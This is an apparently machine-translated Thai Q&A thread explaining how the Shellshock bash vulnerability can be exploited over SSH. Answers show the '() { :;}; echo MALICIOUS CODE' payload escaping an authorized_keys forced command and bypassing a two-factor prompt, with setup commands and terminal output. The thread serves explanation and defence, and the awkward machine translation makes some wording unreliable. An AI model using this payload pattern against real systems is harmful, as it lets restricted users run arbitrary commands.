shellshock สามารถใช้ประโยชน์จาก SSH ได้อย่างไร


68

เห็นได้ชัดว่า shellshock Bash exploit CVE-2014-6271สามารถใช้ประโยชน์ผ่านเครือข่ายผ่าน SSH ฉันสามารถจินตนาการว่าการหาประโยชน์จะทำงานผ่าน Apache / CGI แต่ฉันไม่สามารถจินตนาการได้ว่าจะใช้ SSH อย่างไร

ใครช่วยกรุณายกตัวอย่างว่า SSH จะถูกเอารัดเอาเปรียบได้อย่างไรและระบบจะทำอันตรายอะไรได้บ้าง?

ชี้แจง

AFAIU ผู้ใช้ที่ผ่านการตรวจสอบแล้วเท่านั้นที่สามารถใช้ประโยชน์จากช่องโหว่นี้ผ่าน SSH การใช้ประโยชน์นี้มีประโยชน์อะไรสำหรับใครบางคนที่สามารถเข้าถึงระบบที่ถูกกฎหมายได้? ฉันหมายความว่าการหาประโยชน์นี้ไม่มีการเพิ่มระดับสิทธิ์ (เขาไม่สามารถกลายเป็นรูตได้) ดังนั้นเขาจึงไม่สามารถทำอะไรได้มากกว่าที่เขาทำได้หลังจากเพียงเข้าสู่ระบบอย่างถูกต้องผ่าน SSH


พูดง่ายๆก็คือมันไม่สามารถทำได้เว้นแต่มีใครบางคนเข้าถึงกล่องของคุณแล้ว เปลือกทุบตีใหม่จะดำเนินการหลังจากพยายามเข้าสู่ระบบที่ประสบความสำเร็จ
หลีกเลี่ยง

สื่อส่วนใหญ่เป็นโฆษณามันสามารถเกิดขึ้นได้ แต่มันก็ไม่ได้แย่อย่างที่คิด
jgr208

ชื่อผู้ใช้จะใช้คำต่อคำในบันทึกหรือไม่ ถ้าใช่อาจจะมีอยู่สคริปต์ logparsing ทุบตีที่มีความเสี่ยงบาง ...
PlasmaHH

1
@PlasmaHH หากคุณเรียกใช้สคริปต์การแยกวิเคราะห์สคริปต์เป็น root คุณสมควรได้รับสิ่งที่คุณได้รับ
Barmar

@Barmar: นอกจากนั้นคำถามไม่ได้เฉพาะเจาะจงสำหรับการเข้าถึงรูท แต่การเข้าถึงเครื่อง (ซึ่งอาจจะเป็นสิ่งที่จำเป็นทั้งหมดเช่น deface มันหรือทำอันตรายอื่น ๆ ) เมื่อคุณสามารถเรียกใช้รหัสโอกาสที่คุณยังสามารถ เรียกใช้รหัสที่หาประโยชน์จากสิ่งอื่นที่ทำให้คุณรูต
PlasmaHH

คำตอบ:


79

ตัวอย่างหนึ่งที่สิ่งนี้สามารถถูกโจมตีได้อยู่บนเซิร์ฟเวอร์ที่มีauthorized_keysคำสั่งบังคับ เมื่อเพิ่มรายการ~/.ssh/authorized_keysคุณสามารถใส่คำนำหน้าบรรทัดด้วยcommand="foo"เพื่อบังคับfooให้รันทุกครั้งที่ใช้คีย์สาธารณะ ssh ด้วยการใช้ประโยชน์นี้หากเชลล์ของผู้ใช้เป้าหมายถูกตั้งค่าเป็นbashพวกเขาสามารถใช้ประโยชน์จากการหาประโยชน์จากการเรียกใช้สิ่งอื่นนอกเหนือจากคำสั่งที่พวกเขาถูกบังคับให้

นี่อาจเป็นตัวอย่างที่ดีกว่าดังนั้นนี่คือตัวอย่าง:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

ที่นี่เราตั้งค่าผู้ใช้testuserที่บังคับให้การเชื่อมต่อ SSH ใด ๆ โดยใช้คีย์ SSH echo starting sleep; sleep 1ของคุณทำงาน

เราสามารถทดสอบสิ่งนี้ด้วย:

$ ssh testuser@localhost echo something else
starting sleep

โปรดสังเกตว่าเราecho something elseไม่ได้รับการเรียกใช้ แต่starting sleepแสดงให้เห็นว่าคำสั่งบังคับทำงาน

ตอนนี้ให้แสดงวิธีใช้ประโยชน์จากนี้:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

ใช้งานได้เนื่องจากsshdตั้งค่าSSH_ORIGINAL_COMMANDตัวแปรสภาพแวดล้อมเป็นคำสั่งที่ส่งผ่าน ดังนั้นถึงแม้ว่าจะsshdวิ่งsleepและไม่ใช่คำสั่งที่ฉันบอกให้เพราะการโกงรหัสของฉันยังคงทำงาน


1
ลองใช้วิธีนี้แทน: ssh testuser@localhost echo something else '`whoami`' เพื่อพิสูจน์ว่าคำสั่งนั้นถูกดำเนินการที่ใด
ริชาร์ด

1
ฉันจะเพิ่มคำตอบนี้ว่าในแง่ของ SSH การหาประโยชน์อนุญาตให้ผู้ใช้ที่ได้รับอนุญาตที่มีคีย์ที่ได้รับอนุญาตเท่านั้น (คีย์ที่ได้รับอนุญาตสามารถคิดว่าเป็นรหัสผ่านที่ยาว) เพื่อเรียกใช้คำสั่งที่ปกติแล้วพวกเขาไม่ได้รับอนุญาตให้ทำงาน ไม่อนุญาตให้บุคคลที่ไม่มีคีย์ที่ได้รับอนุญาตนั้นทำอะไร ฉันไม่คิดว่ามันชัดเจนจากคำตอบหากคุณไม่มีความเข้าใจที่ดีเกี่ยวกับ SSH และความหมายของ authorized_key
Chris Dragon

@skrewler มักเป็นสัญญาณที่ดีว่าคุณตีความบางสิ่งผิดไป ตัวอย่างเช่นคำตอบคืออธิบายว่าถ้าผู้ทดสอบได้รับการตั้งค่าบัญชีที่จัดทำโดยผู้ดูแลระบบวิธีที่ผู้ทดสอบจะสามารถหลีกเลี่ยงข้อ จำกัด ที่พวกเขาได้รับ และไม่ไม่มีการมีส่วนร่วมกับ bash หมายความว่าคุณสามารถใช้ประโยชน์จาก shellshock ได้ เฉพาะเมื่อทุบตีทำงานด้วยสิทธิ์ผู้ใช้ไม่ได้ตามปกติ แต่ผู้ใช้มีอิทธิพลเหนือตัวแปรสภาพแวดล้อมของทุบตีนั้น
Patrick

ตกลงฉันเข้าใจสิ่งที่คุณกำลังแสดงอยู่ในขณะนี้ - การตั้งค่าที่ จำกัด ผู้ทดสอบไปที่คำสั่งใน. อนุญาต _keys ไม่ใช่เชลล์ล็อกอิน ฉันไม่มีความรู้สึกใดที่จะแก้ไข. authorized_keys ของคุณเองด้วยรายการที่ดำเนินการคำสั่งเมื่อคุณมีสิทธิ์เข้าถึงเชลล์แล้ว (เนื่องจากสิ่งนี้จะไม่ให้สิทธิ์ในการเรียกใช้สิทธิ์) แก้ไข: ลบความคิดเห็นฉันยืนแก้ไขแล้ว
นักเลง

26

การขยายตัวอย่างจาก Ramesh - หากคุณใช้การรับรองความถูกต้องด้วยสองปัจจัยเป็นไปได้ที่จะข้ามปัจจัยที่สองโดยใช้การหาประโยชน์นี้ขึ้นอยู่กับวิธีการนำไปใช้

- เข้าสู่ระบบปกติ -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- ใช้รหัสโดยไม่มี 2FA -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

คุณจะสังเกตเห็นว่ามันรันรหัสโดยไม่ต้องแจ้งให้ 2FA

- หลังจากการทุบตีการปะ -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’

1
เพียงเพื่อจำกัดความตื่นตระหนกของผู้อ่านในที่สุดโดยใช้ปัจจัยที่สอง: "ขึ้นอยู่กับวิธีการนำไปใช้" - ฉันสมมติว่าคุณได้สันนิษฐานว่าปัจจัยที่สองที่นี่ถูกนำไปใช้ในการทุบตีหรือใช้readฟังก์ชั่น มิฉะนั้น - ผู้ใช้ปลอดภัย
Grzegorz Wierzowiecki

25

Shellshock เป็นช่องโหว่ในการทุบตีไม่ใช่ใน SSH เพื่อที่จะใช้ประโยชน์จากมันผู้โจมตีจะต้องทำให้ระบบที่มีช่องโหว่นั้นสามารถรัน bash และเพื่อควบคุมค่าของตัวแปรสภาพแวดล้อมที่จะถูกส่งผ่านไปยัง bash

ในการเข้าถึงกระบวนการทุบตีผ่าน SSH ผู้โจมตีจะต้องผ่านขั้นตอนการตรวจสอบสิทธิ์ (อาจมีการโจมตีเวกเตอร์ผ่านบริการเครือข่ายอื่น ๆ แต่อยู่นอกเหนือขอบเขตของเธรดนี้) หากบัญชีได้รับอนุญาตให้เรียกใช้คำสั่งเชลล์โดยพลการอย่างไรก็ตามจะไม่มีการโจมตี ช่องโหว่นี้เกิดขึ้นถ้าบัญชีถูก จำกัด ให้ใช้คำสั่งเฉพาะเช่นบัญชี SFTP เท่านั้นหรือบัญชี git-only เป็นต้น

มีหลายวิธีที่จะ จำกัด การบัญชีเพื่อเรียกใช้คำสั่งที่เฉพาะเจาะจงกับ SSH คือ: กับForceCommandตัวเลือกในหรือมีsshd_config command=ข้อ จำกัด ในauthorized_keysไฟล์ หากเชลล์ของผู้ใช้ทุบตีช่องโหว่ของ Shellshock จะช่วยให้ผู้ใช้ที่ปกติจะสามารถเข้าถึงบัญชีที่ถูก จำกัด เท่านั้นที่จะข้ามการ จำกัด และดำเนินการตามคำสั่งโดยพลการ


และนี้ไม่ได้ทำงานให้กับเปลือกหอยอื่น ๆ zshเช่น
Eir Nym
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.